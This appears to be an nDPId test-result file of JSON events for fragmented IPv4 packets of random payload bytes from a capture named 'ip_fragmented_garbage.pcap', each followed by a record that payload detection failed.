+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214414,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214438,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214463,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214511,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214537,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214573,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214610,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214657,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214680,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214753,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214765,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214777,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214847,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214900,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 